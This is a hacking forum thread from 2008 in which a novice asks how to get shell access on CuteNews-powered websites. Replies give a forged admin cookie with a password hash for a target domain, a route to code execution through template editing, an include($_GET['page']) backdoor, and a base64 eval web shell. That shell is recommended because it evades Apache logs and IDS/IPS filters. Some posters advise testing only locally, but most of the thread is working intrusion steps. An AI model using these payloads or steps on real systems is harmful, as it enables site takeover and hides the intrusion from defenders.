Waraxe IT Security Portal
Login or Register
November 10, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 73
Members: 0
Total: 73
Full disclosure
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
APPLE-SA-10-28-2024-3 macOS Sequoia 15.1
APPLE-SA-10-28-2024-2 iOS 17.7.1 and iPadOS 17.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> Cutenews php shell
Post new topicReply to topic View previous topic :: View next topic
Cutenews php shell
PostPosted: Thu Feb 21, 2008 6:18 pm Reply with quote
ScrepY
Regular user
Regular user
Joined: Feb 20, 2008
Posts: 5




waraxe wrote:
Elewyn wrote:
Can explain how to craft a cutenews cookie?


Cookie must be like this:

Code:

username=admin;md5_password=1b3396f4609f652f7179bd05423c5374;


Use Firefox and cookie editor add-on and create new cookie with username and password hash, as seen above, and with domain pointing to target website. That's all Smile

And by the way - when you have cutenews admin privileges, then it's easy to get php level acess - through template editing. And if safe_mode=off, then next step can be exec(), popen(), system() and/or other shell access functions in php Smile

Basically - most of the cutenews-powered websites are just waiting for troubles ...


I want to ask how to to this :

And by the way - when you have cutenews admin privileges, then it's easy to get php level acess - through template editing. And if safe_mode=off, then next step can be exec(), popen(), system() and/or other shell access functions in php Smile

How to do this i am noob so help would be great ! I mean show the right way some links .. Thank you !
View user's profile Send private message
PostPosted: Thu Feb 21, 2008 6:32 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




What status you have right now? Can you log in as Cutenews admin? Can you see template edit option in admin menu?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Feb 21, 2008 6:35 pm Reply with quote
ScrepY
Regular user
Regular user
Joined: Feb 20, 2008
Posts: 5




Yes i am in . I managed to edit cokies just i dont know what i have to change in the template code i tired but then shows some errors .
View user's profile Send private message
PostPosted: Thu Feb 21, 2008 6:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I have allready given details about this method - many times.

Example:

http://www.waraxe.us/ftopict-2201.html

Try it and if you still have problems, let me know.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Feb 21, 2008 6:49 pm Reply with quote
ScrepY
Regular user
Regular user
Joined: Feb 20, 2008
Posts: 5




Ok thank you Wink
View user's profile Send private message
PostPosted: Thu Feb 21, 2008 7:53 pm Reply with quote
ScrepY
Regular user
Regular user
Joined: Feb 20, 2008
Posts: 5




Very Happy ok next thing where i can find what i can do ... i doing this first time so its hard. please get me on the way Wink
View user's profile Send private message
PostPosted: Fri Feb 22, 2008 12:29 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




ScrepY wrote:
Very Happy ok next thing where i can find what i can do ... i doing this first time so its hard. please get me on the way Wink


Install CuteNews on your home PC and try all attacks against localhost. Experience comes through trial/error ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Feb 22, 2008 2:08 pm Reply with quote
ScrepY
Regular user
Regular user
Joined: Feb 20, 2008
Posts: 5




OK as i understand i need to insert this code in to a web
Code:
<?php

$page = $_GET['page'];

if (isset($page))
{
include($page);
}

?>


I want to insert it in the file example1.php
Then i could use shell ...
Do i think good ? Very Happy

Now the questions i know how to add a simple text in the file:

Code:
system("echo ^<center^> blah blah blah ^</center^> > example1.php")


But i dont know how to add this code using the system :

Code:
<?php

$page = $_GET['page'];

if (isset($page))
{
include($page);
}

?>
View user's profile Send private message
PostPosted: Fri Feb 22, 2008 3:20 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




You know what is Linux,UNIX command,error_log,GET method,POST method.Do as say waraxe.Install cutenews local and test,don't do this on real server.
View user's profile Send private message
PostPosted: Fri Feb 22, 2008 3:31 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Here is little piece of php code:


Code:

@eval(base64_decode($_POST['e']));


If you inject this code to CuteNews template, then you can use POST method (no revealing apache logs), base64 encoding (no IDS/IPS triggering and filters). You can after that execute ANY php code on remote server - ANY!! Just what you need is little php script in your local PC, or even just one simple html file with POST form + online base64 encoder. No C99 or other $h|t ... Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Feb 22, 2008 8:31 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




waraxe wrote:
Here is little piece of php code:


Code:

@eval(base64_decode($_POST['e']));


If you inject this code to CuteNews template, then you can use POST method (no revealing apache logs), base64 encoding (no IDS/IPS triggering and filters). You can after that execute ANY php code on remote server - ANY!! Just what you need is little php script in your local PC, or even just one simple html file with POST form + online base64 encoder. No C99 or other $h|t ... Smile


I love you dude Laughing Laughing Laughing Laughing
View user's profile Send private message
Cutenews php shell
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.048 Seconds